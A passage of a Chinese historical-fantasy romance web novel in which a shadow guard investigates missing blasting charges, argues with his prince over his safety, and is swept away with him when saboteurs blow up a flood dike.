他见杨妃点头,紧接着说,“那账本子里写的都是些河道工程修建的相关款项,经过几次审查和暗中走访,可以确定除了底下的小官小吏的小额贪污,基本上能合上账,可以说是相当清廉。” “这条路行不通,恰逢这几日咱们在这里逗留,王爷干脆让我们查了河道总督府其他的账。” “头两天不是和你说我们发现河道总督暗中将水兵官船改乘商船运货牟利吗?” “这事儿虽然不打紧,但也证明了河道总督不是那种完全清廉的官,说不定除了以公谋私外还有其他来钱的道。” “所以王爷偷偷地让咱们去查了河道总督其他的东西。” 朱柿一连串话说得口干舌燥,想喝口水有滴水没有,只能舔了舔嘴唇继续,“我们偷偷地安排了人手查了河道总督府所有的财产。” “就在今天,我们发现河道总督库房里的东西比账目上记载的要少。” “这少的东西也不是什么金银珠宝,更不是存粮石料……” 他说到这里拉长了语调,伸手将杨妃正在看的两张纸并排摊在桌子上,手指在上面点来点去。 “少的东西竟然是用来炸石开凿的火雷。” “你瞧瞧,这个是我们从府邸账册中抄录下来的。”朱柿的手指指着一张纸,又挪到了另一张上,“这是实际上我们清点得来的。” “那数目差的可不少,一车两车都不够。” “这东西可是严格管控出入库都要登记在册的。”朱柿冷哼了一声,抱着胳膊,一副恨不得直接将证据拍在河道总督脸上质问他到底怎么当官的样子。 “这种东西少了这么多怕不是一日两日之功,竟然没有人察觉么?” 杨妃不敢置信,火雷这东西用处广阔,朝廷看得极严,在军中也尤其受重视,尤其是边防之地,这些年也算是靠着这东西和蛮族屡战屡胜。 要不是这些建设工程有时会用得上这东西,这东西是决计不会出现在这里的。 更别提但凡储存火器之库房都需要专门的官兵看守,进出都要搜身。 河道总督到底是怎么做到手底下的库房能少了这么多火雷的? 他知道吗? 知道之后还能睡得着吗? 不怕那火雷就埋在他床底下等着把他炸上天吗? 杨妃满脑子问号,不可置信地左右看着那两张信纸作比对,姐觉得脑瓜子嗡嗡的,瞬间就明白了朱柿为什么之前问他身体恢复怎么样了。 现在这个节骨眼上,就他家王爷这个树敌情况来看。 这些火雷的去向—— 怕不是为他家王爷准备的吧? 杨妃瞬间毛骨悚然,一股白毛汗直接窜到头顶,指尖都开始发凉。 火雷那东西的威力他再清楚不过,若是没有提前躲开,就算身上穿了刀枪不入的铠甲也免不了落得个内脏被震碎的下场。 这样危险的东西,但凡知道了都会让人心中不安,更何况丢了不知去向! 杨妃只觉得气血翻涌,再也坐不住直接站了起来。 “这些东西的去向可曾查过了?” 他紧紧盯着朱柿的表情,不由得有些紧张。 朱柿也知道事情的严重性,他沉重地摇了摇头,“今儿才发现有这样的威胁,主子已经让全部的人手去查了。” “更安排了侍卫在每日经行的地方掘地三尺,但凡发现有翻土的迹象或是奇怪的东西,都得挖出来查看。” “不过目前却没有什么进展。” 朱柿也很苦恼,这样紧要的东西丢了他也难以安寝,一时之间没查出线索他甚至都怀疑是不是登记造册的官吏办事不细心,账目上记岔了才导致这么大的出x入。 “我还特意将那记账的直接从温柔乡里揪出来,在花楼里好生逼问,直打的那人酒气散尽,他都没承认是自己记错了数。” “又疑心是不是看守的官吏监守自盗,那些人也都被拷问过了,彼此单独审问口供一致,刑罚加身也不曾改口,应当也不是他们偷的。” “大概率是真的被偷窃了。”朱柿给这件事下了定论,“偷窃的人水平很不一般,我们在现场查了又查,都没发现什么脚印痕迹。” “是高手所为。”朱柿抿了抿嘴,和杨妃相顾无言。 “……呵。” 杨妃听见高手这两个字就想冷笑,在京中那种高手如云的地方都不曾遇到过这许多事,偏偏在这里都叫他们遇到了。 这地方还真是卧虎藏龙,倒显得比龙居之地更加养人了。 也显得他们这些影卫有些无能了。 杨妃不免有些自嘲,别的且不说,就单单说他在京中也不曾受过那样严重的伤,也足以见得此地非比寻常了。 想到这里,杨妃猛地睁大眼睛,迅速侧头看向朱柿,“河道总督虽没有兵权,但这里也有水司,是有一队应对水匪的兵马的。” “你们可曾去府库中查看过武器?” 他想的是那一天被埋伏的时候那些地里暗藏的杀伤力极强的暗器,那些东西怎么看怎么都像是军中制式武器的改装版。 既然河道总督府能弄丢了严格管控的火雷,水司弄丢一些军制武器也不是不可能。 若真是如此…… 杨妃不由得紧张起来,能打这些东西的主意,这幕后之人怕不是要造反吧? 难道哪里又有了想揭竿而起的? “啊……”朱柿一时间被他问住了抓了抓头,“发现河道总督的火雷数目不对之后,王爷命我们也查了水司的火雷。” “这里多年没有成气候的水匪,又因为水司需要在水上作战火雷本就不多,剩下的也常年不用发霉受潮了,和账目上倒是对得上。” “至于其他武器……” 朱柿不屑地从鼻腔里哼了两声,还翻了个白眼,“我看他们就是好日子过得惯了太过舒服了,那些个武器杂乱的就堆在库房之中,几乎没有不发霉生锈的。” “我们悄悄前去看时,只用手抬了一下,那上了桐油本该坚韧的木头竟直接从中折断变成了散落在地的碎块,带起的烟尘呛得人呼吸都不舒服。” “这一下甚至闹出了动静,当时去的人还担忧门口的守卫会不会发现他们,连撤离的路线都看好已经打算动身了。” “结果门口那几个睡眼惺忪的别说打开库房查看了,就连屋里头的动静都没听见,只差睡得打鼾了!” “也是难为他们握着长矛站着都睡得着了。” 朱柿一想到那些官兵站岗时的松弛状态,再一联想到他们这些影卫站岗时的目不转睛,说不哀怨那是假的。 “不过也因着那些东西实在腐烂,去查的人不方便挪开计数,倒也不知和账册上写的相差多少了。” 朱柿没有错过杨妃抽搐的嘴角,很是无奈地摊了摊手。 他们这些做影卫的虽然经验丰富,遇到这种情况也实在没招。 “不过就那些烂糟的东西丢在大街上怕都是没人捡,想来也不会有人拿去了用。比起你那回打树林里拎回来的精致东西可差的远去了。” 朱柿也不傻,说了半天也想到了杨妃之前受伏击的那一回,他更是看过那改良的武器的,也猜出了杨妃到底想问什么。 “那东西在泥里埋了半天,又被粗暴地拎回来好一顿折腾,稍稍擦擦修修就又能用了。” “质量好的很。” 杨妃听着他的话不置一词。 虽说朱柿说的挺有道理的,可他的直觉却告诉他偷火药的人和埋伏伏击的人就是一伙的。 只是目前还没有证据罢了。 “此事还得仔细查查才行,我总觉得他们脱不了干系。”杨妃一想到杀伤力极强又下落不明的火雷就觉得已经好了的伤口隐隐作痛。 “那些东西一日没找到,王爷的安危就一日没有保障,我真担心回去路上会有不测。” 他们来的时候遇到的波折虽小,可也正合了神器所说,这回又提前见了隐患,回去途中八成也会应验。 “不行。” 杨妃一想到那神器嘴里所说的概率,哪里还能安心地呆在屋里,当下就直接拉开门,撂下一句“我去求见主子”,也不管门口那几个抬轿子的怎么喊他,只一味地踩着轻功翩然而去,只留给了追着他的朱柿一个背影。 他听着身后堪称鸡飞狗跳的动静,嘴角轻轻地勾起一抹浅笑。 要的就是这个飞来飞去! 那轿子哪里是他能做的,就那么一次就已经让他浑身不舒坦了! 王爷若是对轿子情有独钟,他宁可做抬轿子的,也不可坐被轿子抬的! 这也就是他平日里穿着的都是黑色或灰色的衣服,要是他穿了个红的,那是宁可吊死也不能往那东西上坐的! 杨妃很怀疑王爷之所以给他安排个轿子是不是也存了脑补花轿的心思。 他这回已经好利索了,可不能让王爷再得逞! 第55章 长久的不运动让杨妃冷不丁飞檐走壁之后心跳加速,连呼吸也不复往常一般平稳。 当然。 其中呼吸急促的一部分原因也有他马上就能被王爷解除禁令,重新恢复正常生活节奏的期待。 他再不练武真的不行了! 区区一个轻功,甚至距离都没有多远就能让他气息不稳,再这么将养下去他都怀疑自己有一天能飞不起来! 天呐! 轻功堪比千斤坠的影卫! 那他还做什么影卫了,干脆直接做王爷的小厮吧,反正他各类技能也熟的很完全能胜任。 杨妃对幻想中身形沉重的自己打了个寒颤,猛地甩了甩头清除杂念。 他在王爷的门口处站定,轻功带起来的风甚至吹动了灯笼里的烛火。 杨妃瞟了一眼晃动的火苗理了理自己的衣襟,将擦了油的那一点袖口卷起来掖好,两个深呼吸间平复了自己的心跳,按耐着心中的激动轻轻叩了两下门。 其实他不应该如此冲动这个时间点过来的。 他动了动耳朵听着屋子里面的呼吸,确定王爷没有睡下才松了口气。 作为一个明确知道王爷喜欢他的人,虽不是半夜可也在晚上敲响王爷的门总是越寻思越觉得怪异。 这回是特殊情况。 杨妃默默地安慰自己,听着屋子里王爷低沉的声音推开门走了进去。 “主子。” 他撩开衣摆跪在王爷身前,本想直接说那些火药的正事,可面对王爷担忧的目光和那一双伸出来扶他的手,话到嘴边却变了模样。 “主子,属下已经大好了。” 杨妃被迫适应了被主子扶起来的生活,不着痕迹的将自己的胳膊从他的手上抽出来,没得到想要的解禁回应,便又重复了一遍。 “主子。” “属下身上的伤已经好全了,如今浑身上下再没什么结痂了。” 【真的没有了?】 【本王没看到,本王不信。】 王爷狐疑地上下扫过他,有些不自在的撇过眼帘,嘴才张开又忙抬手掩唇干咳了两声。 他刚刚其实挺想说让杨妃把衣服脱了他仔细瞧瞧来着。 可马上又觉得这样子说太过下流,影响了他在杨妃心中高大伟岸的形象,又只能遗憾作罢。 自打受伤之后杨妃已经许久没有听到过王爷这种不可言说于口的心声了,如今乍一听闻,虽然从前也预想过王爷会不会想亲自看看他的伤口,但这事真的发生时他竟觉得自己被调戏了。 很不自在。 杨妃将头低下去,默念了两遍心法稳住心态,乖乖地等着王爷的决断,企盼的眼神全都交给了地板。 王爷显然没有接收到他渴望的信号,而是将自己的渴望全都藏在心里。 【可恶啊……】 【如今想来真是又气又遗憾。】 【当时满脑子想的都是怎么将他身上的伤口涂药包扎,竟然连仔细瞧一瞧上手摸摸都不曾。】 【他伤没好时每次想起来只有心疼。】 【如今他说他伤好了,本王怎么竟觉得有点后悔呢?】 王爷百思不得其解,多少也觉得自己有些急色不像话,但是若说让杨妃再一次受伤给他创造这种机会那是万万不成的。 心中思绪万千,最终王爷只能恋恋不舍地将目光从杨妃身上收回来,也没轻易信了他的话,而是让人去叫了医师。 王爷瞧着呆站在那里的杨妃,虽然看x着他好像一动不动的样子,可就莫名觉得他有点紧张。 “本王知道你是最勤勉忠心的,可也不能不顾着身子。” “你若是伤及了根本,又或是积劳成疾,本王以后还哪里找一个像你这样得力的呢?” “……是。” 王爷都这么说了,杨妃便也感恩戴德的受着。 直接被人薅过来的医师也见怪不怪,轻车熟路甚至有点敷衍地搭上了杨妃的脉,隔着薄薄的皮肤指尖下跳动的是强壮有力的脉搏。 其气血强盛程度比他这个热衷保养的医师都不知道好了多少。 医师心下腹诽,王爷也不知道什么毛病,他说了多少次习武又内力强劲之人身体恢复力远超常人,一个未劳动筋骨的外伤好起来是很快的,更何况那么多珍惜的药材不当钱似的用,完全不必担心。 可偏偏王爷就是不信。 医师也是没招了,无功无过的方子开了一个又一个,今日又竟被叫来把脉确定伤势好了没有。 他迅速回想起了上一次这人自称伤势好了,他们医师也觉得好了,可王爷却认为结痂还未完全褪落还需要休息,害得他们这些人差点被说成医术不精的情景,这次尤其谨慎。 “王爷,这位壮士脉息强劲,看上去已与常人无异。”他擦了擦额角的汗继续说道,“只是外伤一事把脉或许未能知全貌,还需得屏风后脱了衣服细查。” “???” 他这一句话可了不得,直接捅了两个马蜂窝。 听到了这样的话杨妃和王爷的脸上是如出一辙的震惊,原本低着头的杨妃更是直接抬起了头,不敢置信地看着摸着胡子的老实医师。 他在说什么东西—— 杨妃瞳孔地震,很想揉揉耳朵。 刚才那样的话要不是他确实听着的声音也不是王爷的,他都要怀疑那是不是王爷的心声了。 杨妃悄悄地用余光看了一眼同样震惊的王爷,心中松了一口气。 刚才真是要吓死他了,有那么一瞬间杨妃都怀疑王爷是不是私下里和这个医师约定好了什么,就等着他来请命的时候好借医师之口光明正大地脱他衣服。 不是就好。 但就算不是他也不想脱啊! 杨妃内心中无比抗拒在王爷的屋里脱衣服,之前受伤的那一回就已经让他受够了。 那还是在没有意识的情况下。 现在他意识无比清醒、感官无比敏锐。 比如现在,他就能清晰的感受到王爷正在看着他,而且还带着一点犹豫和跃跃欲试。 在犹豫些什么东西啊,王爷? 杨妃感觉他现在就像那个案板上任人宰割的鱼,只等着王爷的刀锋落下。 “不必了!” 内心有些赞同医师想法的王爷忍痛拒绝,也不再多说别的,直接挥手让医师离去。 【虽然说本王确实很想看好好欣赏一番,这医师说的也恰是个好借口。】 杨妃的心跟着这句心声一并提起来,又随着下一句缓缓落下。 【可若是真的遂了那医师的意思,那岂不是说本王要和他一起看了?】 【那怎么行?】 【之前重伤昏迷的时候让他们看了本王都后悔不已,如今更是想都别想!】 【本王都不曾细细瞧过,更不能让其他人捷足先登!】 王爷的心声中是满满的占有欲,他紧紧盯着杨妃不放,突然眨了眨眼睛,富含侵略性的眼神一下变成了后悔。 【啊……】 【那日让他撩起裤子的时候怎么没说好好看看呢?!】 【现在回想起来竟然也只记得他身上的伤疤了……】 王爷想回忆一下其他细节却发现自己大脑空空,房间也陷入了寂静,就在杨妃琢磨着要不要再开口提醒一下的时候,王爷才回过了神。 “本王信你。” “既然你这么说了,那明日起便回本王身边吧。” 经过了这一番波折可算得到了想要的结果杨妃也放松了下来,他点头应下便要和王爷说那火雷的事儿,却不曾想王爷想说的话还没说完。 “你也不必再易容成女子的样子了。”王爷一想到杨妃女装易容的样子心中就有些嫌弃,“你才受了这样重的伤,哪怕现在看上去好了,想必也气血两亏。” “本王虽然不太了解武功,但想来缩骨功也不是一件容易事。” “你这段时间莫要再用了,免得扯痛了身上的伤口,又让本王担心。” 杨妃没想到王爷说的是这件事,他也没什么反对的便直接应下,只是又问了一句,“主子可是让属下在暗中护卫?” “也不必。” 王爷连忙拒绝,他可不想杨妃在暗处他不知道的地方猫着。 离开他去寻人那么短短的他没看着的功夫,这个影卫就能把自己弄得奄奄一息回来,要是他藏在暗处若又受了什么伤,他想知道的男人。 王爷斩钉截铁地拒绝了杨妃的想法,“扮作侍卫就好。” “河道上游传来消息水位只涨不降,再这样涨下去要不了几天就需要凭借河堤泄洪。” “到时候本王和河道总督都要去堤上巡视,你随本王一起过去,在暗中藏匿不便。” “况且唯有你在身侧本王才放心。” “属下遵命。” 杨妃一想到两侧连树都没有一个的堤坝,也觉得王爷说的有道理,到时候堤坝上若只有王爷和河道总督并那些侍卫官兵,他不在身侧也很难放心。 那种连掩体都没有一个的地方,若是想袭击王爷简直不要太简单。 更何况还有不知去向的火雷。 “主子。”杨妃可不能忘了他这次来的主要目的,“属下听闻火雷失窃不知去向实在忧心,如今我们带出来的人手又有损耗。” “若是一时半刻仍不能返京……” “不如将其他执行任务的人手也都叫回来拱卫主子安危吧。” 杨妃提出了自己的建议,火雷那东西用起来可比暗器刺客可怕的多,发作速度之快威力之强若是没有提前发现势必会受到重大损失。 防卫搜查的人手总是多多益善,为了主子的安危再多人也不为过。 他提到这件事王爷也愁也知道自己恐怕就是火雷的最大目标。 “此事虽危险,却也不必如此大动干戈。” 王爷是很忧心的,但拒绝的话也没有一点犹豫。 “如今各方任务都正在关键时刻,此时放弃便功亏一篑,得不偿失。” “况且我们现在虽然因为大雨不绝暂时无法返京,可这种环境目前对我们来说也是安全的。” 王爷听着雨滴打在瓦片上的声音,笑了一下。 “祸福相依,这样的天气之下,火雷的用处不大,不仅威力受限,还很容易失效。” “况且还有你们事无巨细地查探,本王觉得,便是想埋伏火雷来对付本王也是不成的。” 杨妃听着王爷无比自信的话,能感受到他对他们这些人的信任,却依然还想再劝一劝。 王爷说的都有道理,可不怕一万就怕万一,哪怕有一点损伤落到王爷身上都不是他们能承受得了的。 杨妃眼神中的不赞同藏都藏不住,当然也没能逃得过王爷的眼睛。 王爷只觉得有点好笑。 “行了。”他笑着说,“本王知道你最是担忧本王的安危,可事到如今,本王总不能接连给父皇上折子要求回京吧?” “本王可还指望着这一波收获民心好多谋求些官员支持呢,哪里能直接做逃兵,于本王之大业毫无益处。” 王爷见杨妃一贯面无表情的脸上还微蹙着眉毛,只得走上前拍了拍他的肩膀安慰道,“本王身边有你们这些忠贞之士,只需加紧防卫,却也无需如此畏惧。” “是……” 杨妃无数句想要劝阻的话全都被王爷堵到了嗓子眼里,他头一回发现王爷竟然是这样一个犟种。 但事已至此既然王爷如此坚持,那他也只能更加谨慎地为王爷排除一切障碍了。 回去的路恐怕不能像来时那样轻松了,少不得得用些故布疑阵的伎俩。 杨妃打算回去好好看看舆图,势必要给王爷安排出一条隐蔽又安全的道路。 见他总算认同了计划,王爷轻轻捏了捏杨妃的肩膀,没看到他表情发生变化彻底放下了心。 “事情就先这样,今夜你好好休息,本王明日还等着你呢。” 一想到明天杨妃就能用自己的脸和他相处,王爷这回是真心实意地露出一个大大的笑容。 养伤的这些天不知杨妃备受折磨,他也没好到哪里去啊! 【这么多日子里见不着他,本王都上火了!】 王爷伸出舌尖舔了舔自己的牙床,一舔到那个起泡的伤口险些嘶出声。 【而且就x连到底是不是真的上火本王都不知道!】 【本王都不敢叫医师来看一看,生怕那些家伙给本王把脉把出了一个欲求不满来,再建议本王收了那河道总督送来的女子。】 【偏这家伙不知道本王牺牲了多少,天天只绞尽脑汁地想恢复工作,一点都不珍惜这些个休养的日子。】 【这次来都没坐本王给他准备好的花轿,一定是轻功飞过来的,又或者是跑过来的?】 【总之,不管他怎么来的,都是违抗了本王命令的方式!】 【就仗着本王宠他!】 王爷碎碎念的抱怨,伤口像针扎似的一阵一阵的痛,目光幽怨极了,看的杨妃脑袋越来越低,心虚之情险些要溢出来。 他就说他和王爷之间的默契有点过分了!过分到他觉得有些危险了! 他就说王爷弄个轿子来是有存着花轿的心思的—— 仗着王爷看不见杨妃闭上了眼睛不想面对现实。 就这样房间里又陷入了死一般的寂静,直到杨妃实在觉得有如烈火焚身难以再待下去。 他思索着如何打破现状,忽地灵光一闪,话本子里那些柔弱美人给了他一点灵感。 杨妃轻轻颤了下身子,被一直紧盯着他的王爷逮了个正着。 王爷立马就不哀怨了。 【真该死!】 【本王脑子里天天到底都想些什么乱码七糟的东西,竟忘了他重伤刚好,就这么任由他在这干站着站了半天!】 【给他累的身子都发颤了!】 王爷瞧着这样子心疼的不行,简直恨不得伸手拍自己两个巴掌,他连忙让杨妃退下好好休息,看着他平稳的走出去也没有安心。 干脆又将才走了不久的医师重新叫了回来,让他再熬了两锅补药给杨妃送过去,丝毫不管那医师一副见鬼了的表情。 也看不见杨妃看着新鲜出锅滚烫的补药时那一副无奈的表情。 总之,从结果上来看,他们的这次会面还算是皆大欢喜。 杨妃非常高兴地以极其饱满的工作态度重新投入了工作当中,上岗第一件事就是把同僚们叫过来切磋一番恢复身手。 为了这个他特意起了个大早,免得耽搁了去王爷那边站岗。 一番激烈的搏斗之后杨妃的衣服都被汗浸湿了,他扯了扯黏在身上的布料,认命地重新洗了个澡。 还好他的内力也恢复了,不然没了内力烘干头发就只能顶着湿漉漉的脑壳去见王爷了。 到时候恐怕免不了被他又脑补一番,就像那回他戴面具时浸湿头发一样。 没办法,跟着一个喜欢自己的主子就是有这样的烦恼。 生活又恢复了往常的样子,好像他们还在王府之中,好像他不曾遇到过埋伏。 直到雨势猛地加大,上游装载着水讯信息的羊皮筏子撞到了河堤为止。 送消息过来的人差不多是以一个连滚带爬五体投地的姿势扑倒在王爷面前,慌张到连话都说不利索。 杨妃看不下去他磕磕巴巴的样子直接上前一步从他手中拿走了那个竹筒又包着油纸的讯息,双手呈给王爷。 事态紧急,王爷看了之后二话没说就带着他和一众侍卫以及随车队一起来的大人们一并去了堤坝。 他们急匆匆地上了马,杨妃隐晦的看了一眼伪装成侍卫的朱柿,两个人心照不宣地对过了眼神,马蹄踏着水洼在雨幕中急速前行。 这一路上没有一个人说话,只有杨妃的耳朵饱受折磨,心也难安。 不为别的,只因为那个在心里吱哇乱叫抱怨着自己不想去的妖怪。 杨妃恨他恨得牙都痒痒。 该死的这种紧要的时候这妖怪就不能说一两句好话吗? 偏偏在心里问那神器决堤的概率有多少,偏那神器也没眼色! 【根据普遍的情节发展统计,不发生意外的概率为百分之零。】 【什么?怎么可能——】 妖怪的声音声嘶力竭。 【那堤坝我们里里外外的检查了那么多次,那可是真材实料建的,这里又不是最后一道关口,前面那些个关口逐级泄洪减压,怎么可能会出事!】 妖怪难以置信,杨妃也绷紧牙关,他看了一眼身侧策马的王爷,紧紧追随着他。 怎么能出事?! 第56章 瓢泼的大雨压不下杨妃心中的不安,他忍不住策马离王爷再近一点,目光紧紧地盯在王爷身上,生怕出现些什么意外。 马蹄急促地敲打地面,飞溅起的泥水沾湿了杨妃的衣裤。 但那些都不重要了。 在这样的雨幕之下他们早早地都湿透了。 杨妃不觉得寒冷,急促的心跳让他整个人热血沸腾,但他担忧王爷。 他有内力护身哪怕做不到寒暑不侵保护自己的体温还是很简单的,可王爷那是三脚猫的功夫,他怕王爷沾染了风寒。 尤其是王爷此刻看上去嘴唇微微泛白,不似平常一般健康。 王爷此刻根本注意不到杨妃的目光,他皱着眉表情无比严肃,一次又一次的磕打马肚催促马匹狂奔。 一路上不敢耽搁,一行人骑马狂奔,等他们到了河堤之时,河道总督已经带着人开始工作了。 成群的农夫被河道总督组织着,不停地用滚木和沙袋辅佐麻绳加固防御工事,号子喊得震天响,连身后翻腾的河水都没能压住他们的声音。 这场景任谁看了都得称赞一句人力胜天。 河道总督就站在河堤上,手里拿着两个小旗一下又一下地挥着,见着他们来了匆匆地将东西交给身旁的副手,江王爷迎下了马,带着一众人走到了河堤之上。 脚下的石砖沉甸甸的,踩上去很踏实,可杨妃的心却像浮在云端。 他实在忍不住抓了一下王爷的衣袖,又触及到王爷垂眸的眼神时悻悻地收回手。 好吧。 杨妃只能跟在他身侧故作镇定地走上去,还忍住了想吞咽口水的本能。 他瞟了一眼好似将河底泥沙都翻腾起来的河水,幼年时那种昏黄的河水铺天盖地的朝脑袋压过来的情景好似又展现在眼前。 若他能说了算,今日便是说什么也不会让王爷踏足这里一步的。 这里一点都不安全! 就算这河堤没有偷工减料也不行! 洪水乃是天灾,哪里是人力能抗衡的! 万一、万一汹涌的河水将河堤冲塌了怎么办? 他控制不住自己,眼神一遍又一遍地巡视过河堤,紧张地在上面寻找是否会出现裂痕。 他真的很怕河水冲垮了它。 他不是唯一一个怕的。 这河堤上站着的人不少,大概也就河道总督本人在如此环境下仍能安之若素了,最多再加上一个王爷。 观察力出众的杨妃不曾错过那些护卫官员微微发颤的小腿和他们紧握的拳头。 当然了,他们倒也不一定都是因为害怕决堤,也可能是被雨浇的湿透又经风吹,冷的。 杨妃微微上前一步,迎着风向站稳了身形,用自己的身板给王爷挡住一些冷风。 王爷看上去似乎还好,也没有寒冷发抖的迹象。 他浅浅松了一口气,一阵狂风带起了巨浪重重拍打在河堤上,砸出了惊雷一般的声响。 杨妃因着这声音条件反射地猛眨了下眼睛,耳朵也嗡嗡作响。 旁人是冷的还是怕的杨妃一时分不出来,但那妖怪真的害怕极了。 【系统系统!若是河堤塌了以我的游泳水准活下来的几率有多大?】 【这样的天气为什么还要在这里守着?有河道总督在不就行了吗?我又不是负责此事的官员,只是个参与巡查凑数的,为什么也要在这里?!】 他的控诉中带着哭腔,整个人面白如纸抖若筛糠,在一众故作镇定的人群中显得极其扎眼。 连站在他身前的河道总督都注意到了他的异常。 河道总督侧身看了一眼他,又回头与王爷交谈,语调中的得意不曾遮掩,他甚至还抬了抬下巴,“王爷不必惊慌,这河堤是本官亲自督建的,处处都有把关,有信心的很,不会出问题的。” “就连这些民夫也是训练有素,早早地就针对这种情况做了准备。”河道总督伸手指过那些干得热火朝天的民夫,邀功似的炫耀。 “此地守着河道,虽因此不愁水源,常有作物丰收,但有利有弊,也受水患所扰。” “本官在此地任职多年,便和这些水打交道,多年来从不敢懈怠,参考着曾经的水文记录,劳动工匠,才完成了这样的水工建设。” 河道总督看上去很想拍拍王爷的肩膀却被王爷不着痕迹地躲过了,尴尬地收回手捋了捋胡须,加大音量抵挡嘈杂的环境。 “如此x费时费力建成的河堤便专为应对这种情况而生,河道总督府边建在下游的洼处,本官的妻儿此刻仍能安然入睡,本官更是站在这里不曾后退一步。” “王爷站在这里安心便是,本官拿项上人头作保,绝不会有任何风险。” 王爷冷淡地点了点头,一直看着那些半个身子都在河水之中却仍在劳作的民夫。 杨妃耐着性子听河道总督说完了,恨铁不成钢地狠狠瞪了那妖怪一眼,心里骂他已经是这种非常理所能理解的存在了,竟然还会怕水患。 不是说妖怪们都能呼云唤雨的吗? 有神器在手他竟然害怕! 害怕也就算了,竟害怕的那么明显,还偏偏被河道总督瞧个正着,让他逮着了机会炫耀,颇有些指桑骂槐的意味。 杨妃垂落的手指动了动,袖口中暗藏的匕首随着他的动作滑落出一指宽。 这河道总督真是活得不耐烦了! 雨下不止,他们在河堤上站了半个时辰,就那么眼睁睁地看着河水一点点上涨,奔腾过来的浪花高一些的甚至打在河堤的栏杆上。 杨妃都有点站不住了。 他再也忍不了一点,又往王爷那里挪动了一下,指尖悄悄碰了一下王爷垂落的手,试图给他传递一些转移到安全位置的信号。 王爷冷不丁的被他触碰,手指蜷缩握成拳,侧过头看了他一眼神色很是震惊。 【等等,怎么回事?】 【杨妃怎么在这个时候摸我?】 【这这这。】 【这个场景好像不太方便啊!】 杨妃差点被他的心声噎得撅过去,手一下就背在了身后,要不是条件不允许他都想后退两步。 这是什么地方都什么时候了? 王爷的心里在想些什么东西! 杨妃无话可说,王爷的瞳孔震颤着,一直看着他没挪开目光。 他没办法了,只能又凑近王爷凑到王爷耳边,“主子,水位一直在涨,不若先去高的地方避一避吧。” 这河堤建造的位置一马平川,放眼望去都没一个鼓起来的山包,杨妃早早地就瞄中了远处树林后的高山,甚至还估摸了一下距离,看看带着王爷能不能用轻功飞过去。 王爷不像杨妃一样总觉得处处都是危险,他情绪稳定的很,看了一眼镇定自若的河道总督,轻轻拍了拍杨妃的手,摇了摇头。 “不必担忧,本王相信河道总督。” 一句话,王爷就能气的杨妃心跳加速。 他恨不得对着王爷的脑袋狠狠敲上那么两下,提溜着耳朵问他到底是什么给了他安稳站在这里的决心。 杨妃无奈极了。 王爷话里话外都是让他安心,身后不远处的妖怪每一句都是害怕。 怎么就不能互补一下呢? 杨妃心知规劝无益,便悄悄地又给朱柿递了个眼神,两个人不错眼珠地盯着河水与河堤,只要见到一丝不对,便会提着王爷倾身而起脱离险境。 王爷既然坚持,那他们就要给王爷托底。 那河道总督无论说了多少遍他有万全之策杨妃都是不信的。 自古以来多是决堤水患的,平稳度过的屈指可数。 更何况他心中还有隐忧。 那些火雷直到现在都不知去向,若是就用在今天可怎么样好? 杨妃向栏杆又跨近了一步,低头向下看时才稍稍放心。 这样湍急的河水火雷是固定不到堤坝上的。 就算他们想办法固定上去,暴雨和河水冲刷之下火人也是用不了的。 也算是勉强排除了一个隐患吧。 浪拍得越来越高,河水也是肉眼可见的流速变快,杨妃的心突突地跳,耳中是巨浪带来的阵阵嗡鸣。 连那些民夫口里喊的号子几乎都听不见了。 唯一的好消息大概就是雨确实下得小了许多,云的那边甚至透出了一丝日光。 可这个水量,哪怕是雨停在此刻也无济于事了。 上游积攒的水流已经到了这里,他们唯一能抵抗的便是堤坝的强度和那些民夫的努力了。 杨妃也为他们捏了一把冷汗。 可就在这时,他猛地睁大了眼睛。 他瞧见了什么—— 那些个民夫从衣襟里掏出了什么—— 杨妃没看清,可危险的直觉叮当作响,他感觉到刚才吹过的那一缕微风都能让他毛骨悚然。 那是多少次死里逃生得来的直觉。 危险! “保护王爷!” 杨妃来不及想太多,大喝了一声便拉起王爷的胳膊就要提身而起。 可歹人做了万全的准备生生等到这一刻又岂能让他轻易逃脱。 那些伪装成民夫的死士悍不畏悍不畏死,就那么用手按着火雷抵在堤坝上,不约而同地点燃了它们。 “轰隆——” 炸开的声音接二连三地震天响,那些死士眨眼间就被炸成了碎块,随着翻涌的河水染红了一片。 紧随其后的便是如蛛网一般的裂纹,以极快的速度蔓延了整个堤坝。 在所有人瞠目结舌的震惊中,杨妃和朱柿紧赶慢赶地赶在最后一块砖石崩碎之前,踩着轻功借力一左一右地拉着王爷向远处掠去。 还是有些迟了! 杨妃全力运转内力,手死死地牵着王爷的胳膊,尽力向前跑的更远。 可他们只是会些轻功的武者,还不是神仙,做不到御空飞行,需要中途借力。 可问题是他们现在的情况哪有东西给他们中间落脚? 决堤之后河水奔涌的速度超出了他们几个的想象,甚至都没能等到他们旧力尽去需要借力的时候,那奔腾的河水就已经掠过了他们脚下,持续奔涌向前。 一路上碰到的所有障碍无论是人还是物都成为了它里面的一部分。 杨妃和朱柿脸色青白,饶是再不情愿中间借着被河水卷下去的石块又跃起两次,也无奈的带着王爷落入了水中。 决堤好可怕啊…… 无论是小时候那会还是现在。 他们两个拖着王爷在水中挣扎,时不时还能借着河水冲下去的东西跃出去。 可也不过是聊胜于无罢了。 决堤之后的河水便不拘泥于河道之中了,所有没有它高的东西都注定被它淹没。 杨妃眼疾手快地压了一下王爷的头,被急流冲过来的滚木就那么越过了他们的脑袋,几乎是擦着头发又向前冲去。 这样的东西不是一个两个,杨妃和朱柿疲于应对。 他们又要顶着激流努力控制方向,还要将王爷托出水面,又得躲着那些比暗器力道大上数倍的东西,体力和内力消耗的速度超出了想象。 终于,在一个大浪过后,体力不佳的王爷撑不住直接晕了过去,杨妃和朱柿对视了一眼,都能看到对方严重的绝望。 天灾就是这样的。 饶是有再多的金钱,有再高的身份地位,有再大的本事,在它面前一视同仁。 心里多少有预感这一次恐怕凶多吉少了,但他们还想再挣扎一下,只要他们还清醒着还有意识,就不能随波逐流地等死。 渐渐地,杨妃也觉得胳膊有些抬不起来了,水一下一下地拍打着他的脸,视线也有些模糊。 直到下一个大浪过去,杨妃揽着王爷的腰失去了意识。 他尽力了。 杨妃最后模模糊糊的想。 真可惜。 王爷早早的就晕过去了,不然若是见了这一幕,说不定心里还会想着他们俩这算不算殉情了呢。 第57章 好冷好累。 他有点喘不上气了。 杨妃猛地睁开眼睛,稚嫩的小手在汹涌的河水中奋力挣扎,可他体力是那样的少身体是那样的赢弱,饶是他用尽力气撑着身子在湍涌的河急中把脑袋顶出水面。 